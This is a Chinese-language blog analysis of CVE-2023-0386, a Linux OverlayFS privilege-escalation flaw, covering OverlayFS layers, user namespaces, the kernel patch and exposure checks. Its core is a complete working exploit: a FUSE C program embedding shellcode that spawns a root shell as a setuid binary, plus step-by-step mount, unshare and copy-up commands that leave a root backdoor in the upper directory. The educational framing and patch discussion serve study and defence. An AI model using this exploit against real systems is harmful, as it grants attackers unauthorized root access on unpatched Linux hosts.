CVE ID: CVE-2023-0386 [overlay]
Influence Version: (Linux 5.11 ~ 5.19 besides 5.15)
Vulnerability: LPE
Patch:
1
2
|
Description:
A flaw was found
in
the Linux kernel, where unauthorized access to the execution of the setuid
file
with capabilities was found
in
the Linux kernel’s OverlayFS subsystem
in
how a user copies a capable
file
from
a nosuid mount into another mount. This uid mapping bug allows a local user to escalate their privileges on the system.
|
这个漏洞是overlay内核组件存在逻辑问题,导致具有suid权限的文件可以未授权访问,最后实现本地提权。
上篇文章我将内核版本切换到了5.16.12(看chenaotian师傅的帖子说是5.15存在问题无法复现,不巧的是我一直用的都是5.15,的确无法使用)。
分析漏洞之前先来看看组件是做什么的:Overlay是一种Linux文件系统组件,用于实现一种可写的文件系统层(upper layer),并通过挂载两个文件系统来实现文件层次结构的组合。具体来说,它是一种用于容器和虚拟化环境的轻量级文件系统,通常用于在只读根文件系统之上创建一个可写层,以便应用程序可以在其中进行更改而不会影响到根文件系统。下图是overlay的分层结构:
1
2
3
4
|
mkdir lower upper work merged
sudo mount
-
t overlay
-
o lowerdir
=
lower,upperdir
=
upper,workdir
=
work overlay merged
# 挂载OverlayFS
# mount需要root用户权限;需要创建两个lower时:lowerdir=lower1:lower2
# 卸载OverlayFS:sudo umount merged
|
上面的命令可以将"lowerdir"和"upper"目录堆叠到merged目录,"workdir"工作目录要求是和"upperdir"目录同一类型文件系统的空目录,"workdir"是 OverlayFS 内部使用的工作目录,不需要用户自己创建。"lower"、"upper" 和 "merged" 等路径需要替换为实际存在的路径,我们需要在根目录下创建这三个目录。
在lower层新建文件:
1
|
echo
"This is a file in lower."
> lower
/
test.txt
|
当我们在lower层新建文件后,可以看到新文件也出现在merged目录,upper目录无变化。
[+] lower [+] merged [ ] upper
在merged层新建文件:
1
|
echo
"This is a file in merged."
> merged
/
merged.txt
|
当我们在merged层新建文件后,可以看到新文件也出现在upper目录,lower目录无变化。
[+] merged [+] upper [ ] lower
在upper层新建文件:
1
|
echo
"This is a file in upper."
> upper
/
upper.txt
|
当我们在upper层新建文件后,可以看到新文件也出现在merged目录,lower目录无变化。
[+] merged [+] upper [ ] lower
merged层是一个统一的视图,当在merged新建文件时,可以看到新文件也出现在upper目录,lower目录无变化。也就是merged和upper是相互作用的。
在merged层中:
来自upper层的更改会覆盖lower层的相应文件。对于同名文件,upper层中的文件优先级更高。对于同名目录,则合并,只判断目录中的文件是否有上下层覆盖屏蔽关系。
需要注意以下卸载overlayFS后各层文件的变化,这也是后续漏洞利用的重要信息。
挂载overlayFS后,在lower层新增文件,merged也会新增文件,upper无变化;从merged层修改lower层文件,upper新增修改后的文件,接着卸载overlayFS,merged文件会消失,upper保留修改后的文件。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
# 挂载overlayFS后,在lower层新增文件,merged也会新增文件,upper无变化
ubuntu@ubuntu:~
/
Downloads
/
fuse
/
change$ touch lower
/
lower.txt
ubuntu@ubuntu:~
/
Downloads
/
fuse
/
change$ tree
.
├── lower
│ └── lower.txt
├── merged
│ └── lower.txt
├── upper
└── work
└── work [error opening
dir
]
# 从merged层修改lower层文件,upper新增修改后的文件,接着卸载overlayFS,merged文件会消失,upper保留修改后的文件
ubuntu@ubuntu:~
/
Downloads
/
fuse
/
change$ tree
.
├── lower
│ └── lower.txt
├── merged
├── upper
│ └── lower.txt
└── work
└── work [error opening
dir
]
|
保留下来的文件权限跟lower层是一样的:
1
2
3
4
|
ubuntu@ubuntu:~
/
Downloads
/
fuse
/
change$ ls
-
al lower
/
lower.txt
-
rw
-
rw
-
r
-
-
1
ubuntu ubuntu
4
May
12
03
:
29
lower
/
lower.txt
ubuntu@ubuntu:~
/
Downloads
/
fuse
/
change$ ls
-
al upper
/
lower.txt
-
rw
-
rw
-
r
-
-
1
ubuntu ubuntu
10
May
12
03
:
47
upper
/
lower.txt
|
overlayFS 所有文件都可以正常拷贝,包括没有在当前用户命名空间中映射的文件(也就是nobody文件)。
拷贝文件并不只是拷贝文件的内容,包括文件的元数据,也就是文件的属主信息、时间戳、权限信息、还有扩展信息如capbilities等都会一起拷贝过来。引发的风险就是,如果下层文件系统是一个用户文件系统(如fuse),用户高度可控,可以自定义任何文件,但该文件系统存在限制(如nosuid),那么本漏洞就允许将下层用户自定义的suid文件从一个nosuid 文件系统拷贝到一个正常文件系统中,导致非法的suid文件获得suid特权。进而造成提权。
"nosuid"是Linux文件系统中的一种标志,它是在挂载文件系统时使用的选项之一。如果一个文件系统被标记为"nosuid",则在该文件系统上的任何文件或目录上设置的"setuid"或"setgid"位都会被忽略,这意味着即使一个可执行文件被设置为具有特权用户的权限,也不会在执行该文件时获得特权,从而提高了系统的安全性。
"nosuid"是在挂载时对文件系统进行了限制,但是文件系统可以生成一个"suid"的文件,即使因为限制不起作用。
什么是用户命名空间?
用户命名空间:用户命名空间(User Namespace)用于隔离用户ID(UID)和组ID(GID)。可以思考一下C++中的命名空间,假设一个程序中用了两个相同函数名的函数(不是指重载),就会出现函数名冲突的问题,用命名空间就可以调用时避免冲突。
具体来说,假设在主机上存在一个名为"james"的用户,其UID为0。如果直接使用overlay进行文件系统叠加,并在容器中以"james"用户身份启动进程,该进程将会在容器中使用UID为0的用户,与主机中的"james"用户相同,容易造成权限混淆的问题。
使用命名空间后,一个容器中的root用户(UID 0)可能在主系统中被映射为一个非特权用户,起到了权限隔离的作用。
主要使用命令:[unshare]
动手实践:
1
2
|
unshare
-
U
/
bin
/
bash
# 执行该命令后,将会创建一个新的用户命名空间,并在其中启动一个新的Bash shell。在新的用户命名空间中,用户ID和组ID会重新映射,以便用户在该命名空间中获得新的权限。
|
输出如下:
1
2
3
4
5
|
ubuntu@ubuntu:~
/
Downloads
/
test_overlay$ sudo unshare
-
U
/
bin
/
bash
[sudo] password
for
ubuntu:
nobody@ubuntu:
/
home
/
ubuntu
/
Downloads
/
test_overlay$
id
uid
=
65534
(nobody) gid
=
65534
(nogroup) groups
=
65534
(nogroup)
nobody@ubuntu:
/
home
/
ubuntu
/
Downloads
/
test_overlay$
|
此处看到新用户命名空间中的uid为nobody。
nobody是一个特殊的系统用户,通常被用作一个不需要拥有系统特权的用户来运行某些服务或进程。在Linux中,每个用户都有一个对应的UID(UserID),而nobody用户的UID通常是65534。当一个进程运行在一个不同的用户命名空间时,由于该命名空间中没有与该UID相关联的用户名,所以该UID会被识别为nobody用户。因此,当您在一个新的用户命名空间中使用unshare命令创建一个新的shell时,该shell中的UID会被识别为nobody。(nobody权限比普通用户低)
1
2
3
4
5
6
7
8
9
10
|
ubuntu@ubuntu:~
/
Downloads
/
fuse$ unshare
-
Urm
# -U:创建一个新的用户命名空间。在新的用户命名空间中,用户和用户组的标识将与外部命名空间隔离,可以重新映射用户和用户组的标识。
# -r:创建一个新的挂载命名空间。在新的挂载命名空间中,文件系统的挂载点和挂载状态将与外部命名空间隔离,可以进行独立的挂载操作。
# -m:创建一个新的PID命名空间。在新的PID命名空间中,进程的PID将与外部命名空间隔离,可以独立地管理进程。
root@ubuntu:~
/
Downloads
/
fuse
# whoami
root
root@ubuntu:~
/
Downloads
/
fuse
# id
uid
=
0
(root) gid
=
0
(root) groups
=
0
(root),
65534
(nogroup)
# 可以看到在新用户命名空间我们的权限映射为root
|
--map-root-user 能够指定创建的用户uid,需要root权限,并且创造的root用户能在用户命名空间之外也能执行特权操作
1
|
sudo unshare
-
-
user
-
-
map
-
root
-
user
/
bin
/
bash
|
输出如下:
1
2
3
|
ubuntu@ubuntu:~
/
Downloads
/
test_overlay$ sudo unshare
-
-
user
-
-
map
-
root
-
user
/
bin
/
bash
root@ubuntu:
/
home
/
ubuntu
/
Downloads
/
test_overlay
# id
uid
=
0
(root) gid
=
0
(root) groups
=
0
(root)
|
再对比一下在不同用户命名空间下文件的拥有者:
1
2
3
4
|
# uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
ubuntu@ubuntu:~
/
Downloads
/
test_overlay$ ls
-
al nobody.txt
-
rw
-
rw
-
r
-
-
1
ubuntu ubuntu
0
May
10
20
:
56
nobody.txt
|
1
2
3
4
|
# uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
nobody@ubuntu:~
/
Downloads
/
test_overlay$ ls
-
al nobody.txt
-
rw
-
rw
-
r
-
-
1
nobody nogroup
0
May
10
20
:
56
nobody.txt
|
我在漏洞的逻辑中提到了:"nosuid"是在挂载时对文件系统进行了限制,但是文件系统可以生成一个"suid"的文件,即使因为限制不起作用。
我们在这里通过fuse文件系统创建一个文件,文件的要求如下:
我们先创建一个符合上面要求的文件,后续再对符合要求的文件进行修改。首先安装依赖:
1
|
sudo apt
-
get install libfuse
-
dev
|
新建文件fuse_suid.c,用来生成一个程序,运行程序后能够挂载fuseFS到一个空目录,挂载后目录下包含一个可执行文件hello,执行hello中的命令获取shell(此处使用chenaotian师傅的):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
|
#define FUSE_USE_VERSION 30
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
static const char
*
hello_path
=
"/hello"
;
/
/
fuse文件系统中有一个名为hello的文件,这里是文件路径
const char hello_str[]
=
{
/
/
fuse文件系统中的suid 后门文件的二进制内容
0x7f
,
0x45
,
0x4c
,
0x46
,
0x02
,
0x01
,
0x01
,
0x00
,
0x00
,
0x56
,
0x56
,
0x56
,
0x56
,
0x00
,
0x00
,
0x00
,
0x02
,
0x00
,
0x3e
,
0x00
,
0x01
,
0x00
,
0x00
,
0x00
,
0xb0
,
0x00
,
0x00
,
0x10
,
0x00
,
0x00
,
0x00
,
0x00
,
0x40
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x40
,
0x00
,
0x38
,
0x00
,
0x02
,
0x00
,
0x40
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x01
,
0x00
,
0x00
,
0x00
,
0x07
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x10
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x10
,
0x00
,
0x00
,
0x00
,
0x00
,
0xf6
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0xf6
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x10
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x51
,
0xe5
,
0x74
,
0x64
,
0x07
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x10
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x31
,
0xff
,
0x31
,
0xd2
,
0x31
,
0xf6
,
0x6a
,
0x75
,
0x58
,
0x0f
,
0x05
,
0x31
,
0xff
,
0x31
,
0xd2
,
0x31
,
0xf6
,
0x6a
,
0x77
,
0x58
,
0x0f
,
0x05
,
0x6a
,
0x68
,
0x48
,
0xb8
,
0x2f
,
0x62
,
0x69
,
0x6e
,
0x2f
,
0x2f
,
0x2f
,
0x73
,
0x50
,
0x48
,
0x89
,
0xe7
,
0x68
,
0x72
,
0x69
,
0x01
,
0x01
,
0x81
,
0x34
,
0x24
,
0x01
,
0x01
,
0x01
,
0x01
,
0x31
,
0xf6
,
0x56
,
0x6a
,
0x08
,
0x5e
,
0x48
,
0x01
,
0xe6
,
0x56
,
0x48
,
0x89
,
0xe6
,
0x31
,
0xd2
,
0x6a
,
0x3b
,
0x58
,
0x0f
,
0x05
};
static
int
hellofs_getattr(const char
*
path, struct stat
*
stbuf)
/
/
获取文件或目录的属性信息的回调函数
getattr
{
int
res
=
0
;
memset(stbuf,
0
, sizeof(struct stat));
if
(strcmp(path,
"/"
)
=
=
0
) {
/
/
fuse文件系统根目录的权限,
0755
stbuf
-
>st_mode
=
S_IFDIR |
0755
;
stbuf
-
>st_nlink
=
2
;
}
else
if
(strcmp(path, hello_path)
=
=
0
) {
/
/
hello文件的权限,
777
并且带有SUID
stbuf
-
>st_mode
=
S_IFREG | S_ISUID |
0777
;
stbuf
-
>st_nlink
=
1
;
stbuf
-
>st_size
=
sizeof(hello_str);
/
/
hello文件实际大小
}
else
{
res
=
-
ENOENT;
}
return
res;
}
static
int
hellofs_readdir(const char
*
path, void
*
buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info
*
fi)
/
/
获取目录信息的函数
{
(void) offset;
(void) fi;
if
(strcmp(path,
"/"
) !
=
0
) {
/
/
目前只支持查看fuse的根目录
return
-
ENOENT;
}
filler(buf,
"."
, NULL,
0
);
/
/
默认显示.和..
filler(buf,
".."
, NULL,
0
);
filler(buf, hello_path
+
1
, NULL,
0
);
/
/
fuse根目录有一个hello文件
return
0
;
}
static
int
hellofs_open(const char
*
path, struct fuse_file_info
*
fi)
/
/
打开文件的
open
回调函数
{
if
(strcmp(path, hello_path) !
=
0
) {
/
/
只支持打开hello文件
return
-
ENOENT;
}
return
0
;
}
static
int
hellofs_read(const char
*
path, char
*
buf, size_t size, off_t offset,
struct fuse_file_info
*
fi)
/
/
读文件的回调函数read
{
size_t
len
;
(void) fi;
if
(strcmp(path, hello_path) !
=
0
) {
/
/
只支持读hello文件
return
-
ENOENT;
}
len
=
sizeof(hello_str);
if
(offset <
len
) {
if
(offset
+
size >
len
) {
size
=
len
-
offset;
}
memcpy(buf, hello_str
+
offset, size);
/
/
返回hello文件的内容,即上面的二进制数组
}
else
{
size
=
0
;
}
return
size;
}
static struct fuse_operations hellofs_oper
=
{
/
/
只实现上述四个回调函数已经够了
.
getattr
=
hellofs_getattr,
.readdir
=
hellofs_readdir,
.
open
=
hellofs_open,
.read
=
hellofs_read,
};
int
main(
int
argc, char
*
argv[])
{
return
fuse_main(argc, argv, &hellofs_oper, NULL);
/
/
注册回调函数
}
|
编译:
1
|
gcc
-
Wall
-
g
-
D_FILE_OFFSET_BITS
=
64
fuse_suid.c
'pkg-config fuse --cflags --libs'
-
o fuse_suid
|
运行:
1
2
3
4
|
mkdir
-
p mount_fuse
# 新建挂载目录
.
/
fuse_suid mount_fuse
# 挂载新建的目录,弹出已挂载
.
/
mount_fuse
/
hello
# 运行hello
fusermount
-
u mount_fuse
# 卸载挂载目录
|
使用mount | grep mount_fuse
查看挂载目录的属性,可以看到fuseFS被设置成了nosuid:
1
2
|
ubuntu@ubuntu:~
/
Downloads
/
fuse$ mount | grep mount_fuse
/
home
/
ubuntu
/
Downloads
/
fuse
/
fuse_suid on
/
home
/
ubuntu
/
Downloads
/
fuse
/
mount_fuse
type
fuse.fuse_suid (rw,nosuid,nodev,relatime,user_id
=
1000
,group_id
=
1000
)
|
查看hello文件属性:
1
2
3
4
|
ubuntu@ubuntu:~
/
Downloads
/
fuse$
file
.
/
mount_fuse
/
hello
.
/
mount_fuse
/
hello: setuid ELF
64
-
bit LSB executable, x86
-
64
, version
1
(SYSV), statically linked, no section header
ubuntu@ubuntu:~
/
Downloads
/
fuse$ ls
-
l .
/
mount_fuse
/
hello
-
rwsrwxrwx
1
root root
246
Dec
31
1969
.
/
mount_fuse
/
hello
|
运行hello后得到shell。可以看到即使是suid,拥有者为root,运行后也是普通用户:
1
2
|
$
id
uid
=
1000
(ubuntu) gid
=
1000
(ubuntu) groups
=
1000
(ubuntu),
4
(adm),
24
(cdrom),
27
(sudo),
30
(dip),
46
(plugdev),
120
(lpadmin),
132
(lxd),
133
(sambashare)
|
上述操作流程可通过下面脚本自动部署,方便调试fuse_suid.c文件:
1
2
3
4
5
6
|
echo 'fusermount
-
u mount_fuse
gcc
-
Wall
-
g
-
D_FILE_OFFSET_BITS
=
64
fuse_suid.c `pkg
-
config fuse
-
-
cflags
-
-
libs`
-
o fuse_suid
.
/
fuse_suid mount_fuse
file
.
/
mount_fuse
/
hello
.
/
mount_fuse
/
hello' > fuse_test.sh && chmod
+
x fuse_test.sh
# ./fuse_test.sh 运行
|
自己构建poc时,报错时请注意检查回调函数。例如无法使用ls列出fuseFS挂载目录下的文件:ls: reading directory 'mount_fuse/': Function not implemented
需要注册一个新的FUSE回调函数 hello_readdir
,该函数列出文件系统中的文件和目录。
通过上面对两个文件系统的学习,梳理了漏洞的逻辑后,我们可以得到以下完整利用流程:
将挂载的文件系统都退出,最后会在upper文件留下提权可执行后门hello进行提权
各步骤执行代码如下:
1
2
3
|
# 根据前面的fuse_suid.c进行操作
gcc
-
Wall
-
g
-
D_FILE_OFFSET_BITS
=
64
fuse_suid.c `pkg
-
config fuse
-
-
cflags
-
-
libs`
-
o fuse_suid
.
/
fuse_suid mount_fuse
# 挂载fuseFS
|
1
2
3
4
5
6
7
8
9
10
|
ubuntu@ubuntu:~
/
Downloads
/
fuse$ unshare
-
Urm
# -U:创建一个新的用户命名空间。在新的用户命名空间中,用户和用户组的标识将与外部命名空间隔离,可以重新映射用户和用户组的标识。
# -r:创建一个新的挂载命名空间。在新的挂载命名空间中,文件系统的挂载点和挂载状态将与外部命名空间隔离,可以进行独立的挂载操作。
# -m:创建一个新的PID命名空间。在新的PID命名空间中,进程的PID将与外部命名空间隔离,可以独立地管理进程。
root@ubuntu:~
/
Downloads
/
fuse
# whoami
root
root@ubuntu:~
/
Downloads
/
fuse
# id
uid
=
0
(root) gid
=
0
(root) groups
=
0
(root),
65534
(nogroup)
# 可以看到在新用户命名空间我们的权限映射为root
|
1
2
3
4
5
|
mkdir upper work merged
mount
-
t overlay
-
o lowerdir
=
mount_fuse,upperdir
=
upper,workdir
=
work overlay merged
# sudo umount merged 卸载overlayFS (退出新用户命名空间时已经卸载了)
# fusermount -u merged 卸载fuseFS
|
挂载后可以看到merged目录无变化,mount_fuse目录成了lower层
这里涉及到一个问题:
修改lower层的文件,会触发copy-up操作。使用touch命令在尝试创建一个已经存在的文件的时候不会覆盖已经存在的文件,而是只修改文件的访问时间和修改时间的时间戳,而时间戳信息也算文件的attr扩展信息,该信息被修改同样会触发overlay文件系统的copy-up操作。
1
|
touch merged
/
hello
|
根据我们在OverlayFS操作流程-注意事项中提到的,因为只修改了lower层文件的时间戳,没有覆盖文件,最后卸载所有文件系统时会把带着suid权限的hello程序保存在upper层目录。
最后执行被带出到upper层的hello程序,完成提权
补丁新增部分:
1
2
3
|
if
(!kuid_has_mapping(current_user_ns(), ctx.stat.uid) ||
!kgid_has_mapping(current_user_ns(), ctx.stat.gid))
return
-
EOVERFLOW;
|
前面我们已经知道了存在漏洞的地方在于copy-up操作,新增的这部分代码的含义是:
kuid_has_mapping()函数用于检查当前用户标识是否在给定的用户命名空间中有映射关系。它接受两个参数:用户命名空间和用户标识(UID),并返回一个布尔值。如果用户标识在给定的用户命名空间中有映射关系,则返回 true;否则,返回 false。
kgid_has_mapping()函数用于检查当前组标识是否在给定的用户命名空间中有映射关系。它接受两个参数:用户命名空间和组标识(GID),并返回一个布尔值。
如果 kuid_has_mapping() 函数的结果为假(零),即用户标识没有映射关系,
或者kgid_has_mapping()函数的结果为假(零),即组标识没有映射关系,
整个条件表达式将被认为是假(零)。只有当两个条件都为真时,整个表达式才会被认为是真(非零)。
所以更新补丁后,当进行copy-up操作时,如果目标下层文件的属主用户或属组用户在当前命名空间中没有映射的话(也就是拥有者为nobody用户)就会失败,防止了自定义的文件进行未授权访问。
可利用条件: 已开启overlay文件系统(我使用的系统默认开启了overlayFS,可以根据上一篇编译源码make menuconfig
查看是否系统为默认开启,参数分别为CONFIG_SLUB_DEBUGOVERLAY_FS、CONFIG_FUSE_FS)
查看系统是否已开启overlay文件系统的方法
(1) ls /sys/module/overlay/
1
2
3
|
$ ls
/
sys
/
module
/
overlay
/
coresize initsize notes refcnt srcversion uevent
holders initstate parameters sections taint
|
如果有输出,则表示overlay文件系统已经被内核模块加载;如果输出为空,则表示没有加载overlay模块。
(2) grep CONFIG_OVERLAY_FS /boot/config-$(uname -r)
1
2
3
4
5
6
7
|
$ grep CONFIG_OVERLAY_FS
/
boot
/
config
-
$(uname
-
r)
CONFIG_OVERLAY_FS
=
m
# CONFIG_OVERLAY_FS_REDIRECT_DIR is not set
CONFIG_OVERLAY_FS_REDIRECT_ALWAYS_FOLLOW
=
y
# CONFIG_OVERLAY_FS_INDEX is not set
CONFIG_OVERLAY_FS_XINO_AUTO
=
y
# CONFIG_OVERLAY_FS_METACOPY is not set
|
根据输出的结果,可以看到 CONFIG_OVERLAY_FS
的值为 m
,表示该文件系统功能已编译到模块中,可以在需要时加载该模块来使用 Overlay 文件系统,该功能已经开启。(m或者y都代表已开启)
通过学习和复现此漏洞的细节,希望大家能够通过本文了解学习fuseFS和overlayFS的操作机制并懂得如何利用此漏洞提权。在写本文时我也发现了自身很多不足之处。如果在文中发现哪处存在问题,也欢迎大家在留言区指出。
https://github.com/chenaotian/CVE-2023-0386
https://github.com/xkaneiki/CVE-2023-0386
https://blog.csdn.net/luckyapple1028/article/details/78075358
更多【Linux内核漏洞分析系列(2)——CVE-2023-0386】相关视频教程:www.yxfzedu.com